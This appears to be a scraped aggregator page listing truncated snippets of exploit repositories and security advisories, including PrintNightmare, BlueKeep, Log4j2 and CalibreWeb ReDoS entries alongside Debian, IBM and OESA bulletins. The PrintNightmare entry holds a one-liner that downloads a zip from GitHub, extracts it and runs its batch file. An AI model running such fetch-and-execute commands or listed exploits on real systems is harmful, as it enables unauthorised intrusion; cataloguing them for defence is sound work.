CVE-2025-6998-CalibreWeb-0.6.24-ReDoS

CVE-2025-6998-CalibreWeb-0.6.24-ReDoS Exploit para el ReDoS de CalibreWeb v0.6.24...

Wincrash

Wincrash root@kitploit: I'm not responsible for what you use this to accomplish and should only be used for education purposes. CVE-2019-0708 - when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests, aka 'Remote Desktop Services Remote Code...

log4j2-CVE-2021-45105

Aplicación vulnerable de ejemplo Log4j2 CVE-2021-45105 Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.16.0 Esta aplicación está basada en una aplicación web Spring Boot vulnerable a CVE-2021-45105 Utiliza Log4j 2.16.0 Ejecutar la aplicación Ejecútala: root@kitploit: Import the...

Chrome-Skia-CVE-2024-8193

Corregido en Chrome M128: https://chromereleases.googleblog.com/2024/08/stable-channel-update-for-desktop28.html Pasos para reproducir: 1. Aplica el parche chromium.diff a chromium. 2. Ejecuta genskpic.py para generar drawablepicture.skp.hh, luego mueve el archivo generado a...

CVE-2026-20516

CVE-2026-20516: MiracastService confused deputy en Android TV Investigación y divulgación por Davide Di Matteo @Dingo97. Este es mi primer CVE acreditado. Encontré un servicio Miracast con privilegios de sistema, exportado incorrectamente, mientras investigaba un PEAQ Android TV. Un llamador pued...

[SECURITY] [DLA 4789-1] libde265 security update

Debian LTS Advisory DLA-4789-1 [email protected] https://www.debian.org/lts/security/ Tobias Frost September 20, 2026 https://wiki.debian.org/LTS Package : libde265 Version : 1.0.11-1+deb12u3 CVE ID : CVE-2023-51792 CVE-2024-38949 CVE-2024-38950 CVE-2026-33164 CVE-2026-33165...

PNCVE-Win10-20H2-Exploit

PrintNightmare-CVE-Win10-20H2-Exploit Para ejecutar este exploit en Windows: Ejecuta este oneliner: curl https://raw.githubusercontent.com/peckre/PNCVE-Win10-20H2-Exploit/main/Win10Exploit.zip -o Win10Exploit.zip & tar -xf Win10Exploit.zip & run.bat NOTA: Esto solo funcionará una vez por reinicio...

Security Bulletin: IBM Event Endpoint Management is effected by Multiple Vulnerabilities

Summary IBM Event Endpoint Management is affected by Multiple Vulnerabilities and was addressed in IBM Event Endpoint Management 11.8.2 Vulnerability Details CVEID:CVE-2026-41907 DESCRIPTION: uuid is for the creation of RFC9562 formerly RFC4122 UUIDs. Prior to 14.0.0, v3, v5, and v6 accept extern...

Security Bulletin: IBM Event Processing is affected by Multiple vulnerabilities

Summary IBM Event Processing is affected by Multiple vulnerabilities and were addressed in IBM Event Processing version 1.5.5 Vulnerability Details CVEID:CVE-2026-41907 DESCRIPTION: uuid is for the creation of RFC9562 formerly RFC4122 UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output...

CVE-2017-0541

poc and vulnerability analysis of CVE-2017-0541...

CVE-2019-0708

cve-2019-0708 崩溃 poc...

SIOCtl

SIOCtl Despachador simple de IOCTL Este es un "despachador" genérico de IOCTL. Lo hice para usarlo como POC para CVE 2018-8060 y 2018-8061, pero se puede usar con cualquier dispositivo, IOCTL y datos, no obstante. Los datos de entrada son un archivo binario que contiene datos sin procesar para...

nmap-scan-results

Escaneo Nmap: Más de 200 vulnerabilidades encontradas Crítico: CVE-2023-38408 9.8, CVE-2024-38476 9.8, Slowloris DoS Informe completo...

OESA-2026-3994 389-ds-base security update

389-ds-base is an LDAPv3 compliant server which includes the LDAP server and command line utilities for server administration. Security Fixes: A flaw was found in 389 Directory Server. The dereference control plugin does not check for allocation failure before using a BER structure, allowing an...

OESA-2026-3992 389-ds-base security update

389-ds-base is an LDAPv3 compliant server which includes the LDAP server and command line utilities for server administration. Security Fixes: A flaw was found in 389 Directory Server. The dereference control plugin does not check for allocation failure before using a BER structure, allowing an...

OESA-2026-3993 389-ds-base security update

389-ds-base is an LDAPv3 compliant server which includes the LDAP server and command line utilities for server administration. Security Fixes: A flaw was found in 389 Directory Server. The dereference control plugin does not check for allocation failure before using a BER structure, allowing an...

OESA-2026-3991 libpcap security update

This is the official web site of tcpdump, a powerful command-line packet analyzer; and libpcap, a portable C/C++ library for network traffic capture. Security Fixes: In BPF instructions that load/store a value from/to a scratch memory register the register index is an unsigned 32-bit integer and...

OESA-2026-3990 libpcap security update

This is the official web site of tcpdump, a powerful command-line packet analyzer; and libpcap, a portable C/C++ library for network traffic capture. Security Fixes: In BPF instructions that load/store a value from/to a scratch memory register the register index is an unsigned 32-bit integer and...

OESA-2026-3989 libpcap security update

This is the official web site of tcpdump, a powerful command-line packet analyzer; and libpcap, a portable C/C++ library for network traffic capture. Security Fixes: In BPF instructions that load/store a value from/to a scratch memory register the register index is an unsigned 32-bit integer and...

OESA-2026-3983 compat-openssl11 security update

OpenSSL is a robust, commercial-grade, and full-featured toolkit for the Transport Layer Security TLS and Secure Sockets Layer SSL protocols. Security Fixes: Issue summary: Receiving a DTLS record for a future epoch while a handshake is in progress causes OpenSSL to buffer far more memory than th...